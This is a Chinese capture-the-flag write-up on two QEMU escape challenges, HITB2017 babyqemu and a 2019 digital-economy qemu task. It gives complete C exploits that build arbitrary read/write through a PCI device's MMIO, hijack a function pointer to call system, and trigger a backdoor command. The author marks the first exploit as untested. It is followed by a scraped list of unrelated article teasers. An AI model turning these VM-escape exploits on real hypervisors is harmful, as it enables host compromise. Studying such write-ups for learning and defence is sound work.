【qemu逃逸】HITB2017-babyqemu 2019数字经济-qemu
前言
由于本地环境问题,babyqemu 环境都没有起起,这里仅仅做记录,exp 可能不正确。
HITB2017-babyqemu
设备逆向
设备定位啥的就不说了,先看下实例结构体:

其中 dma_state 结构体如下:

这里看字段猜测跟 dma 相关,然后只注册了 mmio,所以直接看 mmio_read/mmio_write 吧。
这里为了方便,我把函数的功能直接写出来了

hitb_mmio_read 就是去读取实例结构体中的字段。hitb_mmio_write 主要就是设置 dma 中的相关字段。
然后最重要的就是那个时钟任务了,该时钟任务会在 hitb_mmio_write 函数中被触l

漏洞就在该时钟任务中:

可以看到在对物理内存进行读写时并没有检查 dma.cnt 的大小,并且也没有检查读取下标的范围。但是对于 dma.cnt 大小没有检查对攻击者而言是没有的,因为其对应的是用户的 buf。
漏洞利用
由于没有对 idx 进行检查,所以我们可以越界读取 enc 函数指针,然后以此计算出 system@plt 的地址。然后利用越界写修改 enc 函数指针为 system@plt 地址,并在 dma_buf 开头写上 cmd。这样当触发 enc(dma_buf) 时就可以执行任意命令。
即:

exp 如下:由于环境,exp 没有经过验证
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void *mmio_base;
void mmio_init()
{int fd = open("resource0_path", O_RDWR);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint32_t addr, uint32_t val)
{*(uint32_t*)(mmio_base + addr) = val;
}uint64_t gva_to_gpa(void *addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open pagemap"), exit(EXIT_FAILURE);lseek(fd, (((uint64_t)addr >> 12) << 3), 0);read(fd, &page, 8);if (!(page & (1ULL << 63))) puts("[X] page not present"), exit(EXIT_FAILURE);return ((page & ((1ULL << 55 )- 1)) << 12) | ((uint64_t)addr & (4095));
}void arb_read(uint64_t dst, uint32_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(dst);mmio_write(0x88, gpa);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2);sleep(1);
}uint64_t arb_write(uint32_t dst, uint64_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(src);mmio_write(0x88, dst+0x40000);mmio_write(0x80, gpa);mmio_write(0x90, len);mmio_write(0x98, 1);sleep(1);
}void triger(uint32_t src, uint32_t len)
{mmio_write(0x88, 0);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2|4);sleep(1);
}int main(int argc, char** argv, char** envp)
{mmio_init();uint64_t enc_addr = 0;arb_read(&enc_addr, 0x1000, 8);printf("[+] enc_addr => %#p\n", enc_addr);uint64_t offset = 0; // enc - system offsetuint64_t system_addr = enc_addr + offset;printf("[+] system_addr => %#p\n", system_addr);char * cmd = "xcalc";arb_write(0x100, cmd, strlen(cmd));arb_write(0x1000, &system_addr, 8);triger(0x100, 0);return 0;
}
2019数字经济-qemu
用户名:root(无密码)
该题没有符号,这题其实非常简单,有直接的后门。所以重在对题目的分析上面。
这题没有符号,但是挺简单的,白给的后门。
mmio_read 里面存在后门:

但是这里有一个 check:

而在 mmio_write 函数中就可以设置 checked 数组的值从而绕过 check,并且还可以设置 command 的值:

exp 如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint64_t opt, uint64_t idx, uint64_t val)
{uint64_t addr = 0;if (opt == 6)addr = (opt << 20) | idx;elseaddr = (opt << 20) | (idx << 16);printf("%#llx\n", addr);*(uint64_t*)(mmio_base + addr) = val;
}int main(int argc, char** argv, char** envp)
{// "wwssadadBABA"mmio_init();mmio_write(0, 0, 0);mmio_write(0, 1, 0);mmio_write(1, 2, 0);mmio_write(1, 3, 0);mmio_write(2, 4, 0);mmio_write(3, 5, 0);mmio_write(2, 6, 0);mmio_write(3, 7, 0);mmio_write(5, 8, 0);mmio_write(4, 9, 0);mmio_write(5, 10, 0);mmio_write(4, 11, 0);char cmd[0x8] = "xcalc;";mmio_write(6, 0, *(uint64_t*)&cmd[0]);return *(int*)mmio_base;
}
xi
效果如下:

相关文章:
【qemu逃逸】HITB2017-babyqemu 2019数字经济-qemu
前言 由于本地环境问题,babyqemu 环境都没有起起,这里仅仅做记录,exp 可能不正确。 HITB2017-babyqemu 设备逆向 设备定位啥的就不说了,先看下实例结构体: 其中 dma_state 结构体如下: 这里看字段猜测…...
Docker Compose学习笔记
Docker Compose用来做什么? Docker Compose 是Docker官方的开源项目。 Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single …...
基于树 二叉树的回溯搜索算法(DPLL)
1)全称:Davis-Putnam-Logemann-Loveland 2)思想:基于树/二叉树的回溯搜索算法,主要基于两种策略。 单子句规则:如果一个CNF范式中存在单子句L(含有一个文字的子句),取L为…...
【嵌入式】适用于ESP32/ESP8266远程自动烧录工具
文章目录 介绍开始使用下载项目开启服务端开始远程烧录 后记 介绍 esp_remote_flash_tool 是一款基于 esptool.py 的远程自动烧录工具,支持 ESP32 和 ESP8266。 使用场景 基于 ESP-IDF 、ESP8266 NONO SDK、ESP8266 RTOS SDK 进行开发的项目项目代码存储在 Linux…...
服务器遭受攻击如何处理(记录排查)
本文的重点是介绍如何鉴别安全事件以及保护现场的方法,以确保服务器负责人能够在第一时间对安全攻击做出反应,并在最短时间内抵御攻击或减少攻击所带来的影响。 在服务器遭遇疑似安全事件时,通常可以从账号、进程、网络和日志四个主要方面进…...
分享81个工作总结PPT,总有一款适合您
分享81个工作总结PPT,总有一款适合您 PPT下载链接:https://pan.baidu.com/s/13hyrlZo2GhRoQjI-6z31-w?pwd8888 提取码:8888 Python采集代码下载链接:采集代码.zip - 蓝奏云 学习知识费力气,收集整理更不易。知识付…...
什么是DITA?从百度的回答说起
▲ 搜索“大龙谈智能内容”关注GongZongHao▲ 什么是DITA? 把这个问题输入百度,获得以下回答: DITA 是“Darwin Information Typing Architecture”(达尔文信息类型化体系结构)的缩写,它是IBM 公司为OASIS 所支持…...
线扫相机DALSA软件开发套件有哪些
Win10和Win7系统完整SDK目录截图: Sapera Configuration 缓存与内存管理,以及通信端口配置工具,部分功能等效于Detection(查找相机)内的Settings。 Sapera Log Viewer 打开Log Viewer后会显示之前发生过的所有与Sapera LT软件有关的运行信息…...
Scala集合操作
1 集合简介 Scala 中拥有多种集合类型,主要分为可变的和不可变的集合两大类: 可变集合: 可以被修改。即可以更改,添加,删除集合中的元素; 不可变集合类:不能被修改。对集合执行更改,…...
SQL备忘--特殊状态“未知“以及“空值NULL“的判断
一、新逻辑状态:未知 对于大多数其他语言的逻辑判断,一般只有两种结果:真(TURE)或假(FALSE)但在SQL中,还会有第三种判断结果:未知(UNKNOWN),表示无法判断出真或者假。 未知状态会影响传统逻辑运算&#x…...
《Pytorch新手入门》第一节-认识Tensor
《Pytorch新手入门》第一节-认识Tensor 一、认识Tensor1.1 Tensor定义1.2 Tensor运算操作1.3 Tensor与numpy转换 参考《深度学习框架PyTorch:入门与实践_陈云(著)》 一、认识Tensor 1.1 Tensor定义 Tensor 是 PyTorch 中重要的数据结构,可认为是一个高…...
【JAVA学习笔记】55 - 集合-Map接口、HashMap类、HashTable类、Properties类、TreeMap类(难点)
项目代码 https://github.com/yinhai1114/Java_Learning_Code/tree/main/IDEA_Chapter14/src/com/yinhai/map_ Map接口 一、Map接口的特点(难点) 难点在于对Node和Entry和EntrySet的关系 注意:这里讲的是JDK8的Map接口特点 Map java 1) Map与Collect…...
Pytorch图像模型转ONNX后出现色偏问题
本篇记录一次从Pytorch图像处理模型转换成ONNX模型之后,在推理过程中出现了明显色偏问题的解决过程。 问题描述:原始pytorch模型推理正常,通过torch.onnx.export()函数转换成onnx之后,推理时出现了比较明显的颜色偏差。 原始模型…...
插值表达式 {{}}
前言 持续学习总结输出中,今天分享的是插值表达式 {{}} Vue插值表达式是一种Vue的模板语法,我们可以在模板中动态地用插值表达式渲染出Vue提供的数据绑定到视图中。插值表达式使用双大括号{{ }}将表达式包裹起来。 1.作用: 利用表达式进行…...
白雪公主
前言 #define 皇后 王后 在很久很久以前,有一个国王,由于王后难产致死,导致生下的孩子没母,由于缺爱,变的非常的刻薄 由于公主过于刻薄,以至于见到她的人都面色煞白感到空中飘雪 37C 的嘴怎能说出如此刻薄的话语。为了…...
宏观角度认识递归之合并两个有序链表
21. 合并两个有序链表 - 力扣(LeetCode) 依旧是利用宏观角度来看待问题,其中最主要的就是要找到重复的子问题; 题目中要求把两个有序链表进行合并,同时不能够创建新的节点,并返回链表的起始点:因…...
Leetcode-509 斐波那契数列
使用循环 class Solution {public int fib(int n) {if(n 0){return 0;}if(n 1){return 1;}int res 0;int pre1 1;int pre2 0;for(int i 2; i < n; i){res pre1 pre2;pre2 pre1;pre1 res;}return res;} }使用HashMap class Solution {private Map<Integer,Int…...
解密 docker 容器内 DNS 解析原理
背景 这几天在使用 docker 中,碰到了在容器中 DNS 解析的一些问题。故花些时间弄清了原理,写此文章分享。 1. docker run 命令启动的容器 以启动一个 busybox 容器为例: rootubuntu20:~# docker run -itd --name u1 busybox 63b59ca8aeac…...
故障诊断模型 | Maltab实现SVM支持向量机的故障诊断
效果一览 文章概述 故障诊断模型 | Maltab实现SVM支持向量机的故障诊断 模型描述 Chinese: Options:可用的选项即表示的涵义如下 -s svm类型:SVM设置类型(默认0) 0 – C-SVC 1 --v-SVC 2 – 一类SVM 3 – e -SVR 4 – v-SVR -t 核函数类型:核函…...
开源的网站数据分析统计平台——Matomo
Matomo 文章目录 Matomo前言一、环境准备1. 整体安装流程2.安装PHP 7.3.303.nginx配置4.安装matomo4.1 访问安装页面 http://192.168.10.45:8088/index.php4.2 连接数据库4.3 设置管理员账号4.4 生成js跟踪代码4.5 安装完成4.6 警告修改4.7 刷新页面,就可以看到登陆…...
从‘梯度裁剪’到‘权重初始化’:一份预防梯度爆炸的PyTorch/TensorFlow实操清单
从‘梯度裁剪’到‘权重初始化’:一份预防梯度爆炸的PyTorch/TensorFlow实操清单 训练深度神经网络时,梯度爆炸问题就像一颗定时炸弹——它可能在你最意想不到的时候突然引爆,导致损失函数值瞬间变为NaN,或者权重更新出现剧烈震荡…...
YOLOv8特征可视化实战:如何用一行代码查看模型内部特征图(附完整代码)
YOLOv8特征可视化实战:如何用一行代码查看模型内部特征图(附完整代码) 在计算机视觉领域,YOLO系列模型因其卓越的实时检测性能而广受欢迎。但对于开发者而言,仅仅使用模型进行预测往往不够——理解模型内部如何"思…...
别只盯着ChatGPT了!SpringAI工具调用帮你低成本打造专属‘AI员工’(避坑指南)
别只盯着ChatGPT了!SpringAI工具调用帮你低成本打造专属‘AI员工’(避坑指南) 想象一下,你的电商团队每天要处理上百条"库存还有吗?"、"订单能改地址吗?"这样的重复咨询。客服人力成本…...
从“单点防御”到“全局联动”:手把手教你用EDR和NDR构建企业安全闭环
从“单点防御”到“全局联动”:手把手教你用EDR和NDR构建企业安全闭环 当企业的安全团队还在疲于应对零散的端点告警和网络流量异常时,攻击者早已开始采用自动化工具进行横向移动。传统孤立的防御手段就像用多个单点摄像头监控银行金库——每个摄像头都…...
手把手教你用Qt6和Arduino Uno打造实时数据监控面板(附串口数据粘包处理源码)
基于Qt6与Arduino Uno的工业级数据可视化系统开发实战 在工业物联网和智能硬件开发领域,实时数据监控是核心需求之一。想象一下这样的场景:车间里的温度传感器阵列通过Arduino采集数据,工程师在办公室的PC端就能实时查看温度曲线波动&#x…...
电价狂降、负值频现!2026电力现货市场惊变,出清电价底层逻辑全拆解
当“0电价”甚至“负电价”成为常态,电力行业的盈利逻辑正在被彻底颠覆。2026年的春天,电力行业迎来了一场前所未有的“地震”。就在刚刚过去的一季度,辽宁电力现货市场全天均价首次跌入负值区间,1月1日至25日短短25天内ÿ…...
储能电站EMS系统实战指南:从硬件选型到软件配置的完整避坑手册
储能电站EMS系统实战指南:从硬件选型到软件配置的完整避坑手册 在新能源行业快速发展的今天,储能电站作为电力系统中的关键调节单元,其能量管理系统(EMS)的稳定性和智能化水平直接决定了电站的经济效益和运行安全。然而…...
从省赛失误到国赛精进:十五届蓝桥杯EDA组PCB布局实战复盘与优化
1. 省赛翻车现场:一个封装错误引发的惨案 去年省赛那天,我永远记得提交作品前那种胸有成竹的感觉。直到成绩公布看到省二的结果,才发现自己犯了个低级错误——数码管封装绑定错了。打开设计文件一看,本该是标准尺寸的数码管&#…...
HelixDB安全特性解析:类型安全查询如何确保生产环境可靠性
HelixDB安全特性解析:类型安全查询如何确保生产环境可靠性 【免费下载链接】helix-db HelixDB is a powerful, graph-vector database built entirely in Rust for millisecond query latency and ease of use. 项目地址: https://gitcode.com/gh_mirrors/he/heli…...
5步快速上手:百度网盘直链解析工具实现高速下载
5步快速上手:百度网盘直链解析工具实现高速下载 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘的下载速度限制而烦恼吗?百度网盘直链解…...
